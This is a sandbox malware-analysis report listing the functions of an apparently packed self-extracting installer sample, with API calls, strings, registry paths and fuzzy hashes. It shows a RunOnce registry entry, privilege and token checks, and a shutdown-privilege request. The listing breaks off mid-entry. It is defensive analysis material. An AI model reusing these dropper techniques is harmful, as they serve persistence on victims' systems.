ExitWindowsEx.USER32(00000002,00000000), ref: 01131FD3

Strings

SeShutdownPrivilege, xrefs: 01131F28

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: 5595a8f77c4be7be2aca88016fe3fa5854f0d4d72fa06ec9aa001fc7c439391b
Instruction ID: 66d51dbdb48b1206483632626480c4aa040998a0e561bdc4be89024301c1a81f
Opcode Fuzzy Hash: 5595a8f77c4be7be2aca88016fe3fa5854f0d4d72fa06ec9aa001fc7c439391b
Instruction Fuzzy Hash: 762102B1A402057BEB389AA5AC49FBF7ABCEBD5B50F100038FA02E218DD77484459762

Uniqueness

Uniqueness Score: -1.00%

Function 01136CF0 Relevance: 6.0, APIs: 4, Instructions: 13COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,01136E26,01131000), ref: 01136CF7
UnhandledExceptionFilter.KERNEL32(01136E26,?,01136E26,01131000), ref: 01136D00
GetCurrentProcess.KERNEL32(C0000409,?,01136E26,01131000), ref: 01136D0B
TerminateProcess.KERNEL32(00000000,?,01136E26,01131000), ref: 01136D12

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 07871498de02a91aa37b39b2f337ebcaa6e9313df95a0e842b4f4aedf7a0a2d2
Instruction ID: d1f973b3e19bac5891ace32009b100afc2ca80a9c8989e97bdc1de894abcf576
Opcode Fuzzy Hash: 07871498de02a91aa37b39b2f337ebcaa6e9313df95a0e842b4f4aedf7a0a2d2
Instruction Fuzzy Hash: 55D0C932000208BBDB242BE1F80CA593F28EF48292F444024F369C300CCA7244918B51

Uniqueness

Uniqueness Score: -1.00%

Function 01133210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32(000003E8,01138598,00000200), ref: 01133271
GetDesktopWindow.USER32 ref: 011333E2
SetWindowTextA.USER32(?,no230), ref: 011333F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 01133410
GetDlgItem.USER32(?,00000836), ref: 01133426
EnableWindow.USER32(00000000), ref: 0113342D
EndDialog.USER32(?,00000000), ref: 0113343F

Strings

no230, xrefs: 011333F1
C:\Users\user\AppData\Local\Temp\IXP003.TMP\, xrefs: 011332E2, 011332E7, 01133331, 01133344, 0113335B, 0113336A

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP003.TMP\$no230
API String ID: 2418873061-1069632226
Opcode ID: ab0fec60b9baab880c41a44a0ac116b9f5f58943096c289dd9556e1c1a974107
Instruction ID: 29d7a9e2a92870504dbeedb6f03c9c95ac6f53af470087480958fe8ba42bcd28
Opcode Fuzzy Hash: ab0fec60b9baab880c41a44a0ac116b9f5f58943096c289dd9556e1c1a974107
Instruction Fuzzy Hash: FD51073039424076FB3E5B395C4CF7B6D59BBC6B69F008138F6A5E62CDCBA484819369

Uniqueness

Uniqueness Score: -1.00%

Function 01132CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183synchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 01132CD9
memset.MSVCRT ref: 01132CE9
memset.MSVCRT ref: 01132CF9

Part of subcall function 0113468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346A0
Part of subcall function 0113468F: SizeofResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346A9
Part of subcall function 0113468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346C3
Part of subcall function 0113468F: LoadResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346CC
Part of subcall function 0113468F: LockResource.KERNEL32(00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346D3
Part of subcall function 0113468F: memcpy_s.MSVCRT ref: 011346E5
Part of subcall function 0113468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011346EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 01132D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 01132D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 01132DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 01132DBD
CloseHandle.KERNEL32(no230,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 01132E0A

Part of subcall function 011344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01134518
Part of subcall function 011344B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 01134554

Strings

INSTANCECHECK, xrefs: 01132D95
EXTRACTOPT, xrefs: 01132D4D
TITLE, xrefs: 01132D09
no230, xrefs: 01132D04, 01132DD9, 01132DF0
VERCHECK, xrefs: 01132E54

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$no230
API String ID: 1002816675-1643897000
Opcode ID: 51c49db74d113f4ad67e11b7b1d2bdcce75e2ed6959fc38dec65a77c8ff6f040
Instruction ID: 0421308d3bb72c68f2ac1200a431351771633a9dc48aa5202751fb74962a76ac
Opcode Fuzzy Hash: 51c49db74d113f4ad67e11b7b1d2bdcce75e2ed6959fc38dec65a77c8ff6f040
Instruction Fuzzy Hash: 5551E6B0340315AAF73C7A299D4AB7B3A98EBD5758F044139FA95D61CCDBF48481C721

Uniqueness

Uniqueness Score: -1.00%

Function 011334F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(00000000), ref: 01133535
EndDialog.USER32(?,?), ref: 01133541
ResetEvent.KERNEL32 ref: 0113355F
SetEvent.KERNEL32(01131140,00000000,00000020,00000004), ref: 01133590
GetDesktopWindow.USER32 ref: 011335C7
GetDlgItem.USER32(?,0000083B), ref: 011335F1
SendMessageA.USER32(00000000), ref: 011335F8
GetDlgItem.USER32(?,0000083B), ref: 01133610
SendMessageA.USER32(00000000), ref: 01133617
SetWindowTextA.USER32(?,no230), ref: 01133623
CreateThread.KERNEL32 ref: 01133637
EndDialog.USER32(?,00000000), ref: 01133671

Strings

no230, xrefs: 0113361D

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: no230
API String ID: 2406144884-1983429894
Opcode ID: 9960ed77b3a6be473a2f59029ef16336b20d9887d131ec1a8207d1c43e630ae2
Instruction ID: 00543c40606d581c4e7a0c56cef542dfcc5e7a2dfa7dfc1a66f64abd78f9984a
Opcode Fuzzy Hash: 9960ed77b3a6be473a2f59029ef16336b20d9887d131ec1a8207d1c43e630ae2
Instruction Fuzzy Hash: 99319CB0260201ABE73D5B29AC4CE2A3E69FBC5B51F044639F6729629CCB718580DB58

Uniqueness

Uniqueness Score: -1.00%

Function 01134224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 01134236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 0113424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 01134263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 0113427A
GetTempPathA.KERNEL32(00000104,011388C0,?,00000001), ref: 0113429F
CharPrevA.USER32(011388C0,02271181,?,00000001), ref: 011342C2
CharPrevA.USER32(011388C0,00000000,?,00000001), ref: 011342D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 01134391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 011343A5

Strings

SHELL32.DLL, xrefs: 0113422F
SHBrowseForFolder, xrefs: 01134246
SHGetPathFromIDList, xrefs: 01134274

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: d18643a03a84be71ad5c1a0710a0637fbbe2476d2eddf642b988186fb8a366e7
Instruction ID: 400188984e9d28c2237d53240eea85f9e9f8238ebb103866b59b16c7a16a7827
Opcode Fuzzy Hash: d18643a03a84be71ad5c1a0710a0637fbbe2476d2eddf642b988186fb8a366e7
Instruction Fuzzy Hash: 6041E874A04214AFEB2D9F65F898A6EBFB4EF85344F0442A9F951A324DC7748841C760

Uniqueness

Uniqueness Score: -1.00%

Function 011344B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160memorywindowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01134518
MessageBoxA.USER32(?,?,no230,00010010), ref: 01134554
LocalAlloc.KERNEL32(00000040,00000065), ref: 011345A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 011345E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 0113460D
MessageBeep.USER32(00000000), ref: 01134630
MessageBoxA.USER32(?,00000000,no230,00000000), ref: 01134666
LocalFree.KERNEL32(00000000), ref: 0113466F

Part of subcall function 0113681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0113686E
Part of subcall function 0113681F: GetSystemMetrics.USER32(0000004A), ref: 011368A7
Part of subcall function 0113681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 011368CC
Part of subcall function 0113681F: RegQueryValueExA.ADVAPI32(?,01131140,00000000,?,?,0000000C), ref: 011368F4
Part of subcall function 0113681F: RegCloseKey.ADVAPI32(?), ref: 01136902

Strings

LoadString() Error. Could not load string resource., xrefs: 011344E4
no230, xrefs: 01134545, 0113465A

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$no230
API String ID: 3244514340-3895311705
Opcode ID: 8c669ee7cfe280e0e77ed605493a6744ca816dd425947da27ca95a30c631deb8
Instruction ID: 1b9fc36814a1772045c745078790894dd8a84164e69429c545ce8714b34cbb3b
Opcode Fuzzy Hash: 8c669ee7cfe280e0e77ed605493a6744ca816dd425947da27ca95a30c631deb8
Instruction Fuzzy Hash: A75147B1900219ABDB2A9F28DC48BAA7B79EFC4304F0401A4ED59F364DDB71DE45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01132773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32(05EA6C4B,00000000,00000000,00000000), ref: 011327A8
CharNextA.USER32(0000054D), ref: 011327B5
CharNextA.USER32(00000000), ref: 011327BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 01132829
RegQueryValueExA.ADVAPI32(?,01131140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 01132852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 01132870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011328A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 011328AA
GetSystemDirectoryA.KERNEL32 ref: 011328B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 011327E4

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 46a58eaa796b6263163b63c8137a62ffc970a1e0cc310921931b2ac1092ad981
Instruction ID: cda3e845fc73218578f0b117cd81800463fde89057551261bc081503ba99254b
Opcode Fuzzy Hash: 46a58eaa796b6263163b63c8137a62ffc970a1e0cc310921931b2ac1092ad981
Instruction Fuzzy Hash: 59417571A00128AFDB2D9B649C85AEABBBDEF95740F0440E9F589D310DDB704EC58FA0

Uniqueness

Uniqueness Score: -1.00%

Function 01132267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 011322A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup3,00000000,00000000,?,?,00000001), ref: 011322D8
memset.MSVCRT ref: 011322F5
GetSystemDirectoryA.KERNEL32 ref: 01132305
RegSetValueExA.ADVAPI32(?,wextract_cleanup3,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 0113236E
RegCloseKey.ADVAPI32(?), ref: 0113237A

Strings

rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 0113232D
wextract_cleanup3, xrefs: 0113227C, 011322CD, 01132363
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 01132299
C:\Users\user\AppData\Local\Temp\IXP003.TMP\, xrefs: 01132321

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP003.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup3
API String ID: 3027380567-2228382463
Opcode ID: 62b7e6bd62d9dedc702c1b0e1a1224d8a11559e893ff22ab57d0c3d8ac63bbb9
Instruction ID: 6b6e0f4738a95e7648608524bf57ef20af8677c402473ef02b06b84c02844944
Opcode Fuzzy Hash: 62b7e6bd62d9dedc702c1b0e1a1224d8a11559e893ff22ab57d0c3d8ac63bbb9
Instruction Fuzzy Hash: B9319871A002186BDB399B55DC49FDABB7CEF94744F0401A9F54DE6048DB71AB84CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01133100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 0113313B
GetDesktopWindow.USER32 ref: 0113314B
SetDlgItemTextA.USER32(?,00000834), ref: 0113316A
SetWindowTextA.USER32(?,no230), ref: 01133176
SetForegroundWindow.USER32(?), ref: 0113317D
GetDlgItem.USER32(?,00000834), ref: 01133185
GetWindowLongA.USER32(00000000,000000FC), ref: 01133190
SetWindowLongA.USER32(00000000,000000FC,011330C0), ref: 011331A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 011331CA

Strings

no230, xrefs: 01133170

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: no230
API String ID: 3785188418-1983429894
Opcode ID: 3f5283ccbdc025bc5787f3a8deb00b874ae1ce393661ec93f500871c08b42596
Instruction ID: 1138e1272611fd834fc005eae5fe7a428cc682ecc59e4dceeb10dd3f5f6ca51a
Opcode Fuzzy Hash: 3f5283ccbdc025bc5787f3a8deb00b874ae1ce393661ec93f500871c08b42596
Instruction Fuzzy Hash: 6D11A231258221BBDB2D6B28AC0CBAA3A74FF86761F000620F975E21CCDBB49181C749

Uniqueness

Uniqueness Score: -1.00%

Function 011318A3 Relevance: 16.6, APIs: 11, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 011317EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,011318DD), ref: 0113181A
Part of subcall function 011317EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0113182C
Part of subcall function 011317EE: AllocateAndInitializeSid.ADVAPI32(011318DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,011318DD), ref: 01131855
Part of subcall function 011317EE: FreeSid.ADVAPI32(?,?,?,?,011318DD), ref: 01131883
Part of subcall function 011317EE: FreeLibrary.KERNEL32(00000000,?,?,?,011318DD), ref: 0113188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 011318EB
OpenProcessToken.ADVAPI32(00000000), ref: 011318F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 0113190A
GetLastError.KERNEL32 ref: 01131918
LocalAlloc.KERNEL32(00000000,?,?), ref: 0113192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 01131944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 01131964
EqualSid.ADVAPI32(00000004,?), ref: 0113197A
FreeSid.ADVAPI32(?), ref: 0113199C
LocalFree.KERNEL32(00000000), ref: 011319A3
CloseHandle.KERNEL32(?), ref: 011319AD

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: b4e251947c450976e2b847268784dfdcc13f859c1c3a741541bebf52428a366c
Instruction ID: e74fc74c2010dd357ddec937dce7546f7d9ccc46a63286121493b2b16bee3294
Opcode Fuzzy Hash: b4e251947c450976e2b847268784dfdcc13f859c1c3a741541bebf52428a366c
Instruction Fuzzy Hash: EA312D71A00209BFEB29DFA5EC48AAFBBBCFF44750B100429E655D214CE7319945CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0113468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346A0
SizeofResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346C3
LoadResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346CC
LockResource.KERNEL32(00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346D3
memcpy_s.MSVCRT ref: 011346E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011346EF

Strings

TITLE, xrefs: 0113469D, 011346C0
no230, xrefs: 011346E4

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$no230
API String ID: 3370778649-2866258717
Opcode ID: 578dbbb0368a258ca6dc0efa30c25ed89637e9f8b3234901a88dd188db4b4a52
Instruction ID: 7acc23ffb65720946945d5c43968b13b4d5aaacd45179d58eb5b13141a74b506
Opcode Fuzzy Hash: 578dbbb0368a258ca6dc0efa30c25ed89637e9f8b3234901a88dd188db4b4a52
Instruction Fuzzy Hash: 7B018676244210BBE3381AA97C4DF6B7E2CDFC5B51F040024FB99D714DCAA1888597A5

Uniqueness

Uniqueness Score: -1.00%

Function 011317EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,011318DD), ref: 0113181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0113182C
AllocateAndInitializeSid.ADVAPI32(011318DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,011318DD), ref: 01131855
FreeSid.ADVAPI32(?,?,?,?,011318DD), ref: 01131883
FreeLibrary.KERNEL32(00000000,?,?,?,011318DD), ref: 0113188A

Strings

CheckTokenMembership, xrefs: 01131826
advapi32.dll, xrefs: 01131810

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: dd9082056c9f2b022cb5ed8c88da274d6833d7124c8aed5c1c1f233fa11dbfab
Instruction ID: 33cecc0e7dd635d038c7998d66c8ec604226f195714786aa7cf8c5b9e509cdd2
Opcode Fuzzy Hash: dd9082056c9f2b022cb5ed8c88da274d6833d7124c8aed5c1c1f233fa11dbfab
Instruction Fuzzy Hash: 22119371E00209BBEB189FA5EC49ABEBF78EF84701F100179FA15E3248DB3099418B94

Uniqueness

Uniqueness Score: -1.00%

Function 01133450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 01133490
GetDesktopWindow.USER32 ref: 0113349A
SetWindowTextA.USER32(?,no230), ref: 011334B2
SetDlgItemTextA.USER32(?,00000838), ref: 011334C4
SetForegroundWindow.USER32(?), ref: 011334CB
EndDialog.USER32(?,00000002), ref: 011334D8

Strings

no230, xrefs: 011334AC

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: no230
API String ID: 852535152-1983429894
Opcode ID: d20b0d5ab646dc1905e3dd9bf1b172df475deb837eadcf4f863000c8f3720636
